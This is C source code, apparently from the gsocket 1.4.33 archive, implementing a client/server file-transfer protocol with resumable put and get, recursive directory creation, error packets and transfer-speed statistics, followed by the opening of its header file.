DEBUGF_R("More data than we want (%"PRIu64")! (fz_local=%"PRIu64", len == %zu, fz_remote = %"PRIu64"\n", f->fz_local + len - f->fz_remote, f->fz_local, len, f->fz_remote);
HEXDUMP((uint8_t *)data + (f->fz_remote - f->fz_local), (size_t)(f->fz_local + len - f->fz_remote));
len = f->fz_remote - f->fz_local; // truncating
}
sz = fwrite(data, 1, len, f->fp);
f->fz_local += sz;
if (sz != len)
{
do_recv_error(ft, f->li, GS_FT_ERR_BADF, NULL);
*active = NULL;
return;
}
if (ft->is_server == 0)
{
// CLIENT, get (download);
update_stats(ft, f, sz);
DEBUGF_W("xfer %"PRId64"/%"PRId64"\n", ft->stats.xfer_amount, ft->stats.xfer_amount_scheduled);
}
if (f->fz_local < f->fz_remote)
return; // still data missing...
DEBUGF_B("All data received (%"PRIu64" of %"PRIu64")\n", f->fz_local, f->fz_remote);
receiving_complete(ft, f);
*active = NULL;
}
// CLIENT
static void
init_xfer_stats(GS_FT *ft, struct _gs_ft_file *f, int64_t sz)
{
if (sz <= 0)
return;
f->xfer_amount_scheduled = sz;
ft->stats.xfer_amount_scheduled += f->xfer_amount_scheduled;
DEBUGF_W("Xfer Bytes Scheduled: %"PRId64", (added=%"PRId64")\n", ft->stats.xfer_amount_scheduled, f->xfer_amount_scheduled);
}
// CLIENT, put (upload)
void
GS_FT_accept(GS_FT *ft, uint32_t id, int64_t fz_remote)
{
GS_LIST_ITEM *li;
DEBUGF("#%u acc fz_remote = %"PRId64"\n", id, fz_remote);
li = GS_LIST_by_id(&ft->fputs, id);
if (li == NULL)
{
DEBUGF_R("Unknown file id %u\n", id);
return; // actually a protocol error....
}
GS_LIST_move(&ft->faccepted, li);
struct _gs_ft_file *f = (struct _gs_ft_file *)li->data;
f->fz_remote = fz_remote;
// Update global stats
init_xfer_stats(ft, f, f->fz_local - f->fz_remote);
ft->is_want_write = 1;
}
static void
set_mode_mtime(const char *path, mode_t mode, uint32_t mtime)
{
chmod(path, mode & ~S_IFMT);
struct timeval t[] = {{mtime, 0}, {mtime, 0}};
if (mtime != 0)
utimes(path, t);
}
// unlink any file in our way and create directory.
static int
mkdir_agressive(const char *path, mode_t mode, uint32_t mtime)
{
struct stat res;
if (stat(path, &res) == 0)
{
if (S_ISDIR(res.st_mode))
return 0; // Diretory already exists. return.
// Remove any other file or link.
DEBUGF_R("unlink(%s)\n", path);
unlink(path);
}
struct timespec ts;
char *s = strdup(path);
char *parent_dir = dirname(s);
dir_save_mtime(parent_dir, &ts);
if (mkdir(path, 0755 /*use chmod() to bypass umask-value*/) != 0)
{
DEBUGF_R("mkdir(%s) failed: %s\n", path, strerror(errno));
XFREE(s);
return -1;
}
set_mode_mtime(path, mode, mtime); // bypass umask-value
dir_restore_mtime(parent_dir, &ts);
XFREE(s);
return 0;
}
/*
* Create all directories recursively. Remove any file that is in our way.
*
* /tmp/foo/bar/test.dat would create /tmp/foo/bar/test.dat [directory]
* /tmp/foo/bar/test.dat/ would create /tmp/foo/bar/test.dat/
* ///// would return success ('/' always exists)
*/
static int
mkdirpm(const char *path, mode_t mode, uint32_t mtime)
{
int rv = 0;
struct stat res;
char *f = NULL;
// DEBUGF("mkdirpm(%s)\n", path);
// Return 0 if directory already exist
if (stat(path, &res) == 0)
{
if (S_ISDIR(res.st_mode))
{
// HERE: Directory exists.
if (mode == 0)
{
// HERE: Not allowed to overwrite permissions
// if (access(path, W_OK) != 0)
goto done; // Done have access
} else {
set_mode_mtime(path, mode, mtime);
}
// DEBUGF_W("%s already exists\n", f);
goto done;
}
}
// Directory does not exist. Use default permission to create it.
if (mode == 0)
mode = 0755;
f = strdup(path);
// If parent directory exist then only create last directory.
char *parent = dirname(f);
if ((parent != NULL) && (stat(parent, &res) == 0))
{
if (S_ISDIR(res.st_mode))
{
// HERE: Parent directory exists.
// DEBUGF_W("1-mkdir(%s)\n", path);
if (mkdir_agressive(path, mode, mtime) != 0)
rv = -1;
goto done;
}
}
XFREE(f); // dirname() may have modified it
f = strdup(path);
// HERE: Neither directory nor parent directory exist. Start from
// the left and create entire hirachy....
// No need to check '/' which always exists.
char *ptr = f;
while (*ptr == '/')
ptr++;
// Remove '/' from the right (tmp/foo///// -> tmp/foo)
char *end = ptr + strlen(ptr);
while (end > ptr)
{
end--;
if (*end != '/')
break;
*end = '\0';
}
// Empty string.
if (ptr == end)
goto done;
// HERE: Create all directory starting from left
// '/tmp' -> '/tmp/foo' -> '/tmp/foo/bar' -> ...
// and set mode for last directory.
mode_t new_mode = 0755;
while (1)
{
ptr = index(ptr, '/');
if (ptr != NULL)
*ptr = '\0';
else
new_mode = mode; // last part of directory
// DEBUGF_W("2-mkdir(%s, 0%o)\n", f, new_mode);
if (mkdir_agressive(f, new_mode, mtime) != 0)
{
rv = -1;
goto done;
}
if (ptr == NULL)
break;
*ptr = '/';
ptr += 1;
}
done:
XFREE(f);
return rv;
}
static void
dir_save_mtime(const char *path, struct timespec *mtime)
{
struct stat res;
memset(mtime, 0, sizeof *mtime);
if (stat(path, &res) != 0)
return;
#ifdef __APPLE__
*mtime = res.st_mtimespec;
#else
*mtime = res.st_mtim;
#endif
// DEBUGF_W("SAVE Dir-TimeStamp %lu.%lu %s\n", mtime->tv_sec, mtime->tv_nsec, path);
}
static void
dir_restore_mtime(const char *path, struct timespec *mtime)
{
// DEBUGF_W("RESTORE Dir-TimeStamp %lu %s\n", mtime->tv_sec, path);
if (mtime->tv_sec == 0)
return;
struct timeval t[] = {{mtime->tv_sec, mtime->tv_nsec / 1000}, {mtime->tv_sec, mtime->tv_nsec / 1000}};
utimes(path, t);
}
// SWITCH message received.
static void
gs_ft_switch(GS_FT *ft, uint32_t id, int64_t fz_remote, struct _gs_ft_file **active, GS_LIST *fsource)
{
GS_LIST_ITEM *li;
li = GS_LIST_by_id(fsource, id);
if (li == NULL)
{
DEBUGF_R("Unknown file id %u\n", id);
return; // actually a protocol error....
}
// Switch from active receiving file to new file
struct _gs_ft_file *new = (struct _gs_ft_file *)li->data;
DEBUGF_W("Switching to id %u '%s' (got %"PRId64", want %"PRId64")\n", id, new->name, new->fz_local, new->fz_remote);
if ((*active != NULL) && (*active != new))
{
fclose((*active)->fp);
}
*active = NULL;
// Server: Existing file is larger. Overwrite.
if (new->fz_local > new->fz_remote)
{
DEBUGF_W("File larger. Overwritting...\n");
XASSERT(fz_remote == 0, "fz_remote not 0 but server's file is larger\n");
new->fz_local = 0;
fz_remote = 0;
}
if ((new->fz_remote == new->fz_local) && (new->fz_local != 0))
{
receiving_complete(ft, new);
return;
}
if (fz_remote == 0)
{
DEBUGF_G("New file (%s) %s\n", new->fn_local, new->name);
char *ptr = new->fn_local;
// mkdir(): Remove leading './///' in './////foo/bar' (when globbing './')
if (*ptr == '.')
{
ptr++;
while (*ptr == '/')
ptr++;
}
char *dir = strdup(ptr); // direname() may modify dir
// ptr points to an internal buffer. strdup() it because mkdirpm() calls dirname() as well
// and would overwrite this structure..
ptr = strdup(dirname(dir));
dir_save_mtime(ptr, &new->dir_mtime);
// put(test1k.dat) must not modify the permission of parent directory.
mkdirpm(ptr, 0 /*do not update permission on existing directory*/, 0 /*do not update mtime*/);
XFREE(dir);
XFREE(ptr);
new->fp = fopen(new->fn_local, "w");
} else {
// Check fsize of local file.
DEBUGF_G("Appending to file\n");
struct stat res;
if (stat(new->fn_local, &res) != 0)
goto err;
if (res.st_size != new->fz_local)
{
// Size changed
do_recv_error(ft, new->li, GS_FT_ERR_BADFSIZE, NULL);
return;
}
new->fp = fopen(new->fn_local, "a");
}
if (new->fp == NULL)
{
DEBUGF("fopen(%s) failed: %s\n", new->fn_local, strerror(errno));
goto err;
}
if (new->fz_remote == 0)
{
// Zero File Size
DEBUGF("ZERO sized file received\n");
receiving_complete(ft, new);
return;
}
*active = new;
return;
err:
do_recv_error(ft, new->li, GS_FT_ERR_PERM, NULL);
}
void
GS_FT_switch(GS_FT *ft, uint32_t id, int64_t offset)
{
if (ft->is_server)
{
// Client is uploading (client send SWITCH command)
gs_ft_switch(ft, id, offset, &ft->active_put_file, &ft->freceiving);
} else {
// Client is downloading (server sent SWITCH command)
gs_ft_switch(ft, id, offset, &ft->active_dl_file, &ft->fdl_waiting);
}
}
static void
file_free(struct _gs_ft_file *f)
{
XFREE(f->name);
XFREE(f->fn_local);
XFREE(f->fn_relative);
XFREE(f);
}
// Reduce counter of outstanding files/errors.
static void
ft_done(GS_FT *ft)
{
if (ft->is_server != 0)
{
// SERVER
DEBUGF_R("WARN: DOES NOT HAPPEN\n");
return;
}
// Only client does requests. Server only answers. Thus only client keeps
// track of number of outstanding requests:
if (ft->n_files_waiting > 0)
ft->n_files_waiting -= 1;
else
DEBUGF_R("Oops, n_files_waiting == %d\n", ft->n_files_waiting);
}
/*
* Remove file from queue.
*/
static void
ft_del(GS_LIST_ITEM *li)
{
struct _gs_ft_file *f = (struct _gs_ft_file *)li->data;
// on client this should be closed already but on server this might
// still be open.
if (f->fp != NULL)
XFCLOSE(f->fp);
file_free(f);
GS_LIST_del(li);
}
// Human readable bps string
static void
mk_bps(char *str, size_t sz, uint64_t duration, uint64_t amount, int err, int is_zero)
{
if (err != 0)
{
snprintf(str, sz, "ERROR");
return;
}
if (is_zero)
{
snprintf(str, sz, "zero size");
return;
}
if (duration > 0)
GS_format_bps(str, sz, (amount * 1000000 / duration), "/s");
else
snprintf(str, sz, "SKIPPED");
}
// Generate stats per file and call call-back.
static void
mk_stats_file(GS_FT *ft, uint32_t id, struct _gs_ft_file *f, const char *name, int err)
{
struct _gs_ft_stats_file s;
memset(&s, 0, sizeof s);
s.id = id;
if (name != NULL)
{
s.fname = name;
} else if (f != NULL) {
s.fname = str_dotslash(f->name);
if (s.fname == NULL)
s.fname = f->name;
}
if (f != NULL)
{
// Check if this file had zero size
if ((f->fz_remote == 0) && (f->fz_local == 0))
s.is_zero = 1;
s.xfer_amount = f->xfer_amount;
if (f->usec_start > f->usec_end)
f->usec_end = GS_usec();
if (f->usec_suspend_start != 0)
{
DEBUGF_R("Oops, Reporting stats on a suspended file\n");
f->usec_suspend_duration += (GS_usec() - f->usec_suspend_start);
}
DEBUGF_W("err=%d end=%"PRIu64", start=%"PRIu64", suspend=%"PRIu64"\n", err, f->usec_end, f->usec_start, f->usec_suspend_duration);
s.xfer_duration = (f->usec_end - f->usec_start) - f->usec_suspend_duration;
}
mk_bps(s.speed_str, sizeof s.speed_str, s.xfer_duration, s.xfer_amount, err, s.is_zero);
// Global stats for all files
ft->stats.xfer_duration += s.xfer_duration;
if (err == 0)
ft->stats.n_files_success += 1;
else {
ft->stats.n_files_error += 1;
// Encountered an error. Reduce the 'scheduled' amount by what
// we could not transfer.
if (f != NULL)
{
int64_t diff = MAX(0, f->xfer_amount_scheduled - f->xfer_amount);
int64_t allx = MAX(0, ft->stats.xfer_amount_scheduled - diff);
ft->stats.xfer_amount_scheduled = allx;
}
}
mk_stats_ft(ft);
// Call call-back (but not if it is an error)
if ((ft->func_stats != NULL) && (err == 0))
(*ft->func_stats)(&s, ft->func_arg);
}
// Generate total stats
static void
mk_stats_ft(GS_FT *ft)
{
GS_FT_stats *st = &ft->stats;
mk_bps(st->speed_str, sizeof st->speed_str, st->xfer_duration, st->xfer_amount, st->n_files_success==0?1:0, 0 /*is_zero*/);
}
void
GS_FT_stats_reset(GS_FT *ft)
{
memset(&ft->stats, 0, sizeof ft->stats);
}
// Report error to caller
static void
call_status_cb(GS_FT *ft, const char *fname, uint8_t code, const char *err_str)
{
if (ft->func_status == NULL)
return;
char buf[128];
if (err_str == NULL)
{
// Create error string if none provided
snprintf(buf, sizeof buf, "%s: %s", GS_FT_strerror(code), fname);
err_str = buf;
}
struct _gs_ft_status s;
memset(&s, 0, sizeof s);
s.fname = fname;
s.code = code;
s.err_str = err_str;
(*ft->func_status)(ft, &s, ft->func_arg);
}
/*
* Error received from Server or Client.
* Remove and free item.
*/
void
GS_FT_status(GS_FT *ft, uint32_t id, uint8_t code, const char *err_str, size_t len)
{
GS_LIST_ITEM *li;
int err = 1;
struct _gs_ft_file *f = NULL;
struct _gs_ft_list_pattern *lp = NULL;
if (err_str[len] != '\0')
return; // protocol error. Not 0 terminated.
DEBUGF_R("#%u STATUS: code=%u [%s](remote says='%s')\n", id, code, GS_FT_strerror(code), err_str);
// There can not be an error in fqueue or plistreq or flist as those are
// local lists. Here we only care about lists that send a request
// to the server and are waiting for a reply.
// li can be one of two structures only:
// _gs_ft_file or gs_ft_list_pattern
li = GS_LIST_by_id(&ft->faccepted, id); // CLIENT
if (li == NULL)
{
li = GS_LIST_by_id(&ft->fcompleted, id); // CLIENT
if (li == NULL)
{
li = GS_LIST_by_id(&ft->fputs, id); // CLIENT
if (li == NULL)
{
li = GS_LIST_by_id(&ft->fdl_waiting, id); // CLIENT (get)
if (li == NULL)
{
// This 'li' does not hold a _gs_ft_file structure and thus
// must not generate stats or try to free a _gs_ft_file when it is not.
li = GS_LIST_by_id(&ft->plistreq_waiting, id); // CLIENT (get)
if (li == NULL)
{
li = GS_LIST_by_id(&ft->fadded, id); // SERVER (put)
if (li == NULL)
{
li = GS_LIST_by_id(&ft->freceiving, id); // SERVER (put)
if (li == NULL)
{
DEBUGF_R("id %u not found\n", id);
return; // not found
}
}
} else {
lp = (struct _gs_ft_list_pattern *)li->data;
}
}
}
} else {
// HERE: Client was waiting for "COMPLETED" message from server.
// Was waiting for 'complete' signal. No error if 'complete' is a success.
if (code == GS_FT_ERR_COMPLETED)
err = 0;
}
}
const char *name;
if (lp == NULL)
{
// A *f file (not a globbing pattern)
f = (struct _gs_ft_file *)li->data;
name = str_dotslash(f->name);
if (name == NULL)
name = f->name;
DEBUGF_R("FILE: %s\n", name);
} else {
name = lp->pattern;
}
if (ft->is_server == 0)
{
// CLIENT
// Report (error-)status to caller
// Dont trust 'err_str' from remote. Passing 'null' will make sure we generate our own.
call_status_cb(ft, name, code, NULL /*err_str*/);
if (f != NULL)
{
// Report stats to caller. Tread ERR_COMPLETED not as an error.
mk_stats_file(ft, id, f, name, err);
}
}
if (f != NULL)
{
if (li->data == ft->active_put_file)
ft->active_put_file = NULL;
if (ft->is_server == 0)
ft_done(ft);
ft_del(li); // SERVER & CLIENT
} else {
// From a PATTERN request (LISTREQ, Client, get, download).
// File structure is not available.
// Or SERVER list
GS_LIST_del(li);
}
DEBUGF("WAITING: %d %d\n", ft->n_files_waiting, ft->plistreq_waiting.n_items);
if (ft->is_server == 0)
{
// CLIENT
// Trigger caller to call GS_FT_packet() so that caller gets the GS_FT_DONE return
// value to then output (and reset) the stats. This can happen when a zero-sized file
// is transferred.
if ((ft->n_files_waiting == 0) && (ft->plistreq_waiting.n_items == 0))
ft->is_want_write = 1;
}
}
/*
* Make an error packet. Return length.
*/
static size_t
mk_error(void *dst, size_t len, uint32_t id, uint8_t code, const char *str)
{
size_t sz;
struct _gs_ft_error err;
memset(&err, 0, sizeof err);
err.id = htonl(id);
err.code = code;
memcpy(dst, &err, sizeof err);
sz = 1;
struct _gs_ft_error *p = (struct _gs_ft_error *)dst;
if ((str != NULL) && (strlen(str) > 0))
{
sz = MIN(len - sizeof err, strlen(str) + 1);
memcpy(p->str, str, sz - 1);
}
p->str[sz - 1] = '\0';
return sizeof err + sz;
}
static uint8_t
errno2code(int eno /*errno*/, uint8_t default_code)
{
DEBUGF_Y("errno = %d\n", eno);
switch (eno)
{
case EACCES:
case EPERM:
return GS_FT_ERR_PERM;
case ENOENT:
case EFAULT:
return GS_FT_ERR_NOENT;
case EBADF:
return GS_FT_ERR_BADF;
case EINVAL:
return GS_FT_ERR_INVAL;
}
return default_code;
}
const char *
GS_FT_strerror(uint8_t code)
{
switch (code)
{
case GS_FT_ERR_PERM:
return "Permission denied";
case GS_FT_ERR_NOENT:
return "Not found";
case GS_FT_ERR_BADFSIZE:
return "Bad file size";
case GS_FT_ERR_BADF:
return "Bad file descriptor";
case GS_FT_ERR_NODATA:
return "No Data";
case GS_FT_ERR_INVAL:
return "Bad Value";
case GS_FT_ERR_COMPLETED:
return "Completed";
}
return "UNKNOWN";
}
// CLIENT: Create error string and report to caller (via callback)
static void
status_report_error(GS_FT *ft, const char *name, uint8_t code)
{
char buf[128];
DEBUGF_B("fn-rel: %s\n", name);
snprintf(buf, sizeof buf, "%s: %s", GS_FT_strerror(code), name);
call_status_cb(ft, name, code, buf);
}
/*
* Make an error packet. Remove errornous file from queue
*/
static size_t
ft_mk_error(GS_FT *ft, struct _gs_ft_file *f, void *dst, size_t len, int *pkt_type, GS_LIST_ITEM *li, uint8_t code, const char *str, int is_report_local)
{
size_t sz;
// On CLIENT side report this error to caller:
if ((ft->is_server == 0) && (is_report_local))
{
// CLIENT
status_report_error(ft, f->fn_relative, code);
}
*pkt_type = GS_FT_TYPE_ERROR;
sz = mk_error(dst, len, li->id, code, str);
ft_done(ft);
ft_del(li);
return sz;
}
static void
update_stats(GS_FT *ft, struct _gs_ft_file *f, size_t sz)
{
// -----BEGIN Log statistics-----
if (f->usec_start == 0)
{
f->usec_start = GS_usec();
}
if (f->usec_suspend_start != 0)
{
f->usec_suspend_duration += (GS_usec() - f->usec_suspend_start);
f->usec_suspend_start = 0;
}
f->xfer_amount += sz;
ft->stats.xfer_amount += sz;
// -----END Log statistics-----
}
static size_t
mk_xfer_data(GS_FT *ft, struct _gs_ft_file **active, GS_LIST *fcompleted, int *pkt_type, void *dst, size_t len)
{
struct _gs_ft_file *f = *active;
size_t sz;
*pkt_type = GS_FT_TYPE_DATA;
sz = fread(dst, 1, len, f->fp);
if (sz <= 0)
{
*active = NULL;
return ft_mk_error(ft, f, dst, len, pkt_type, f->li, errno2code(errno, GS_FT_ERR_BADF), NULL, 1);
}
f->fz_remote += sz;
if (ft->is_server == 0)
{
update_stats(ft, f, sz);
// DEBUGF_W("xfer %"PRId64"/%"PRId64"\n", ft->stats.xfer_amount, ft->stats.xfer_amount_scheduled);
}
if (f->fz_remote >= f->fz_local)
{
// Immediatley close f->fp to free file descriptor.
sending_complete(ft, active, fcompleted);
}
return sz;
}
static size_t
mk_switch(GS_FT *ft, struct _gs_ft_file **active, GS_LIST *fsource, GS_LIST *fcompleted, int *pkt_type, void *dst, size_t len)
{
GS_LIST_ITEM *li;
struct _gs_ft_file *f;
int ret;
XASSERT(active != NULL, "active file is NULL\n");
li = GS_LIST_next(fsource, NULL);
f = (struct _gs_ft_file *)li->data;
f->fp = fopen(f->fn_local, "r");
if (f->fp == NULL)
{
DEBUGF("fopen(%s): %s\n", f->fn_local, strerror(errno));
return ft_mk_error(ft, f, dst, len, pkt_type, li, errno2code(errno, GS_FT_ERR_PERM), NULL, 1);
}
ret = fseek(f->fp, 0, SEEK_END);
if (ret != 0)
return ft_mk_error(ft, f, dst, len, pkt_type, li, errno2code(errno, GS_FT_ERR_BADF), NULL, 1);
f->fz_local = ftell(f->fp);
// Peer already has this file.
// Overwrite if remote size is smaller _or_ larger.
if ((f->fz_local == f->fz_remote) && (f->fz_local != 0))
{
DEBUGF("#%u Skipping %s (already on peer)\n", (unsigned int)f->li->id, f->name);
if (ft->is_server == 0)
mk_stats_file(ft, li->id, f, NULL, 0 /*success*/);
return ft_mk_error(ft, f, dst, len, pkt_type, li, GS_FT_ERR_NODATA, NULL, 0 /* do not report locally */);
}
// Remote size is larger. Overwrite from beginning.
if (f->fz_local < f->fz_remote)
f->fz_remote = 0;
// Remote size is smaller. Restart transmission.
ret = fseek(f->fp, f->fz_remote, SEEK_SET);
if (ret != 0)
return ft_mk_error(ft, f, dst, len, pkt_type, li, errno2code(errno, GS_FT_ERR_BADF), NULL, 1);
struct _gs_ft_switch sw;
memset(&sw, 0, sizeof sw);
sw.id = htonl(li->id);
sw.offset = htonll(f->fz_remote);
memcpy(dst, &sw, sizeof sw);
DEBUGF_W("#%"PRIu64" Switch to %s (fz_local=%"PRIu64", fz_remote=%"PRIu64")\n", li->id, f->name, f->fz_local, f->fz_remote);
// Handle zero size files
*active = f;
if (f->fz_local == 0)
{
// For SERVER (get, download) the fcompleted is NULL
sending_complete(ft, active, fcompleted);
}
*pkt_type = GS_FT_TYPE_SWITCH;
return sizeof sw;
}
/*
* Create a data packet (from job/queue that need attention).
* Return the length.
* Return 0 if no data needs to be written or an error occured.
* check pkt_type to for packet code that needs to be written.
*
* Set TYPE to SWITCH or DATA depending on the type of packet created.
* Set to DONE when done and NONE when nothing is to be done.
*/
size_t
GS_FT_packet(GS_FT *ft, void *dst, size_t len, int *pkt_type)
{
struct _gs_ft_file *f;
size_t sz;
// DEBUGF("GS_FT_packet() %d, accepted %d, len %zu\n", ft->fputs.n_items, ft->faccepted.n_items, len);
*pkt_type = GS_FT_TYPE_NONE;
if (len < GS_FT_MIN_BUF_SIZE)
{
DEBUGF_R("Does this ever happen?\n");
return 0;
}
// Check if any queue'd errors needs sending.
// Server & Client
if (ft->qerrs.n_items > 0)
{
GS_LIST_ITEM *li = NULL;
li = GS_LIST_next(&ft->qerrs, NULL);
struct _gs_ft_qerr *qerr = (struct _gs_ft_qerr *)li->data;
sz = mk_error(dst, len, qerr->id, qerr->code, qerr->str);
*pkt_type = GS_FT_TYPE_ERROR;
qerr_free(qerr);
GS_LIST_del(li);
return sz;
}
// Check if any files in the queue that need to be 'put'
// on offer to the remote side (and then awaiting 'accept').
// Client
if (ft->fqueue.n_items > 0)
{
DEBUGF("%d items in queue (waiting for put to be send)\n", ft->fqueue.n_items);
GS_LIST_ITEM *li = NULL;
li = GS_LIST_next(&ft->fqueue, NULL);
f = (struct _gs_ft_file *)li->data;
struct _gs_ft_put put;
struct _gs_ft_put *p = (struct _gs_ft_put *)dst;
memset(&put, 0, sizeof put);
put.fperm = htonl(GS_mode2fperm(f->mode));
put.id = htonl(li->id);
put.mtime = htonl(f->mtime);
if (S_ISDIR(f->mode))
put.flags |= GS_FT_FL_ISDIR;
else
put.fsize = htonll(f->fz_local);
memcpy(dst, &put, sizeof put);
sz = MIN(len - sizeof put, strlen(f->name) + 1);
// DEBUGF("name len %zu + hdr %zu\n", n, sizeof *hdr);
memcpy(p->name, f->name, sz - 1);
p->name[sz - 1] = '\0';
if (S_ISDIR(f->mode))
{
ft_done(ft);
ft_del(li);
} else {
GS_LIST_move(&ft->fputs, li);
}
*pkt_type = GS_FT_TYPE_PUT;
return sizeof put + sz;
}
// Client
if (ft->plistreq.n_items > 0)
{
GS_LIST_ITEM *li = NULL;
li = GS_LIST_next(&ft->plistreq, NULL);
struct _gs_ft_list_pattern *p = li->data;
DEBUGF("%d LIST-REQ '%s' in queue (LIST-REQ to be send) [Using glob-id=%d]\n", ft->plistreq.n_items, p->pattern, p->globbing_id);
struct _gs_ft_list_request list_req;
struct _gs_ft_list_request *lr = (struct _gs_ft_list_request *)dst;
memset(&list_req, 0, sizeof list_req);
list_req.globbing_id = htonl(p->globbing_id);
memcpy(dst, &list_req, sizeof list_req);
sz = MIN(len - sizeof list_req, strlen(p->pattern) + 1);
memcpy(lr->pattern, p->pattern, sz - 1);
lr->pattern[sz - 1] = '\0';
GS_LIST_move(&ft->plistreq_waiting, li);
*pkt_type = GS_FT_TYPE_LISTREQUEST;
return sizeof list_req + sz;
}
// Server
if (ft->flistreply.n_items > 0)
{
// FIXME: do stats here on the list of files?! No need to keep this all in memory.
DEBUGF("%d LIST-REPLY in queue (LIST-REPLY to be send)\n", ft->flistreply.n_items);
GS_LIST_ITEM *li = NULL;
li = GS_LIST_next(&ft->flistreply, NULL);
f = (struct _gs_ft_file *)li->data;
struct _gs_ft_list_reply list_reply;
struct _gs_ft_list_reply *lr = (struct _gs_ft_list_reply *)dst;
memset(&list_reply, 0, sizeof list_reply);
list_reply.fperm = htonl(GS_mode2fperm(f->mode));
list_reply.globbing_id = htonl(f->globbing_id);
list_reply.fsize = htonll(f->fz_local);
list_reply.mtime = htonl(f->mtime);
if (S_ISDIR(f->mode))
list_reply.flags |= GS_FT_FL_ISDIR;
// Check if this is the last entry for this globbing-id
GS_LIST_ITEM *nli = GS_LIST_next(&ft->flistreply, li);
if ((nli == NULL) || (f->globbing_id != ((struct _gs_ft_file *)nli->data)->globbing_id))
{
DEBUGF_C("Last entry for this globbing G#%u\n", f->globbing_id);
list_reply.flags |= GS_FT_LISTREPLY_FL_LAST;
}
memcpy(dst, &list_reply, sizeof list_reply);
sz = MIN(len - sizeof list_reply, strlen(f->name) + 1);
memcpy(lr->name, f->name, sz - 1);
lr->name[sz - 1] = '\0';
file_free(f);
GS_LIST_del(li);
*pkt_type = GS_FT_TYPE_LISTREPLY;
return sizeof list_reply + sz;
}
// Client, download
if (ft->flist.n_items > 0)
{
DEBUGF("%d files in list. Download them...\n", ft->flist.n_items);
GS_LIST_ITEM *li;
li = GS_LIST_next(&ft->flist, NULL);
f = (struct _gs_ft_file *)li->data;
struct _gs_ft_dl dl;
struct _gs_ft_dl *d = (struct _gs_ft_dl *)dst;
memset(&dl, 0, sizeof dl);
dl.id = htonl(li->id);
dl.offset = htonll(f->fz_local);
memcpy(dst, &dl, sizeof dl);
sz = MIN(len - sizeof dl, strlen(f->name) + 1);
memcpy(d->name, f->name, sz - 1);
d->name[sz - 1] = '\0';
GS_LIST_move(&ft->fdl_waiting, li);
*pkt_type = GS_FT_TYPE_DL;
return sizeof dl + sz;
}
// Server, PUT (upload), make accept message
if (ft->fadded.n_items > 0)
{
GS_LIST_ITEM *li = NULL;
li = GS_LIST_next(&ft->fadded, NULL);
f = (struct _gs_ft_file *)li->data;
struct _gs_ft_accept acc;
memset(&acc, 0, sizeof acc);
acc.id = htonl(li->id);
acc.offset_dst = htonll(f->fz_local);
memcpy(dst, &acc, sizeof acc);
// HERE: Server. Inform client that we accepted.
GS_LIST_move(&ft->freceiving, li);
*pkt_type = GS_FT_TYPE_ACCEPT;
return sizeof acc;
}
// Server - get (download to client)
if (ft->fdl.n_items > 0)
{
if (ft->active_dl_file == NULL)
{
DEBUGF("S Files to send: %d\n", ft->fdl.n_items);
return mk_switch(ft, &ft->active_dl_file, &ft->fdl, NULL, pkt_type, dst, len);
}
if (ft->is_paused_data)
{
DEBUGF_W("IS-PAUSED-DATA==1. Not sending file data....\n");
return 0;
}
return mk_xfer_data(ft, &ft->active_dl_file, NULL, pkt_type, dst, len);
}
// Client
if (ft->faccepted.n_items > 0)
{
if (ft->active_put_file == NULL)
{
DEBUGF("C Files to send: %d\n", ft->faccepted.n_items);
return mk_switch(ft, &ft->active_put_file, &ft->faccepted, &ft->fcompleted, pkt_type, dst, len);
}
if (ft->is_paused_data)
{
DEBUGF_W("IS-PAUSED-DATA==1. Not sending file data....\n");
return 0;
}
return mk_xfer_data(ft, &ft->active_put_file, &ft->fcompleted, pkt_type, dst, len);
}
if (ft->is_server == 0)
{
// CLIENT
#ifdef DEBUG
static int old_waiting;
static int old_pl_waiting;
if ((ft->n_files_waiting != old_waiting) || (ft->plistreq_waiting.n_items != old_pl_waiting))
{
DEBUGF_R("n_files_waiting=%d, plist.n_items=%d\n", ft->n_files_waiting, ft->plistreq_waiting.n_items);
old_waiting = ft->n_files_waiting;
old_pl_waiting = ft->plistreq_waiting.n_items;
}
#endif
if ((ft->n_files_waiting == 0) && (ft->plistreq_waiting.n_items == 0))
{
ft->is_want_write = 0;
*pkt_type = GS_FT_TYPE_DONE;
return 0;
}
}
if (*pkt_type == GS_FT_TYPE_NONE)
ft->is_want_write = 0;
return 0;
}
static void
free_gsl(GS_LIST *gsl)
{
GS_LIST_ITEM *li = GS_LIST_next(gsl, NULL);
for (; li != NULL; li = GS_LIST_next(gsl, li))
{
struct _gs_ft_file *f = (struct _gs_ft_file *)li->data;
file_free(f);
GS_LIST_del(li);
}
}
static void
free_get_li(GS_LIST_ITEM *li)
{
struct _gs_ft_list_pattern *p = (struct _gs_ft_list_pattern *)li->data;
XFREE(p->pattern);
XFREE(p->wdir);
GS_LIST_del(li);
}
static void
free_get_gsl(GS_LIST *gsl)
{
GS_LIST_ITEM *li = GS_LIST_next(gsl, NULL);
for (; li != NULL; li = GS_LIST_next(gsl, li))
{
free_get_li(li);
}
}
void
GS_FT_free(GS_FT *ft)
{
free_gsl(&ft->fqueue);
free_gsl(&ft->fputs);
free_gsl(&ft->faccepted);
free_gsl(&ft->fcompleted);
free_gsl(&ft->fadded);
free_gsl(&ft->freceiving);
free_get_gsl(&ft->plistreq);
free_get_gsl(&ft->plistreq_waiting);
free_gsl(&ft->flist);
free_gsl(&ft->fdl_waiting);
// GS_LIST_del_all(&ft->flistreply, 1 /*deep*/); FIXME: why is thsi deep and not free_gsl????
free_gsl(&ft->flistreply);
free_gsl(&ft->fdl);
GS_LIST_ITEM *li;
for (li = GS_LIST_next(&ft->qerrs, NULL); li != NULL; li = GS_LIST_next(&ft->qerrs, li))
{
qerr_free((struct _gs_ft_qerr *)li->data);
GS_LIST_del(li);
}
ft->active_put_file = NULL;
ft->active_dl_file = NULL;
}
void
GS_FT_pause_data(GS_FT *ft)
{
ft->is_paused_data = 1;
}
void
GS_FT_unpause_data(GS_FT *ft)
{
ft->is_paused_data = 0;
}
gsocket-1.4.33/tools/filetransfer.h 0000664 0000000 0000000 00000020517 14072625040 0017243 0 ustar 00root root 0000000 0000000 #ifndef __GS_FILETRANSFER_H__
#define __GS_FILETRANSFER_H__ 1
// Number of bytes needed for largest message (could be data)
#define GS_FT_MIN_BUF_SIZE (64)
#define GS_FT_SPEEDSTR_MAXSIZE (7 + 2 + 1) // "123.4MB" + "/s" + \0
struct _gs_ft_file
{
GS_LIST_ITEM *li;
char *name; // requested name
char *fn_local; // local file name (absolute)
char *fn_relative; // Client: last part after '/./'
mode_t mode;
time_t mtime;
FILE *fp;
off_t fz_remote; //offset; // Offset to read(=client)/write(=server)
off_t fz_local; // Total file size (from client)
uint32_t globbing_id;
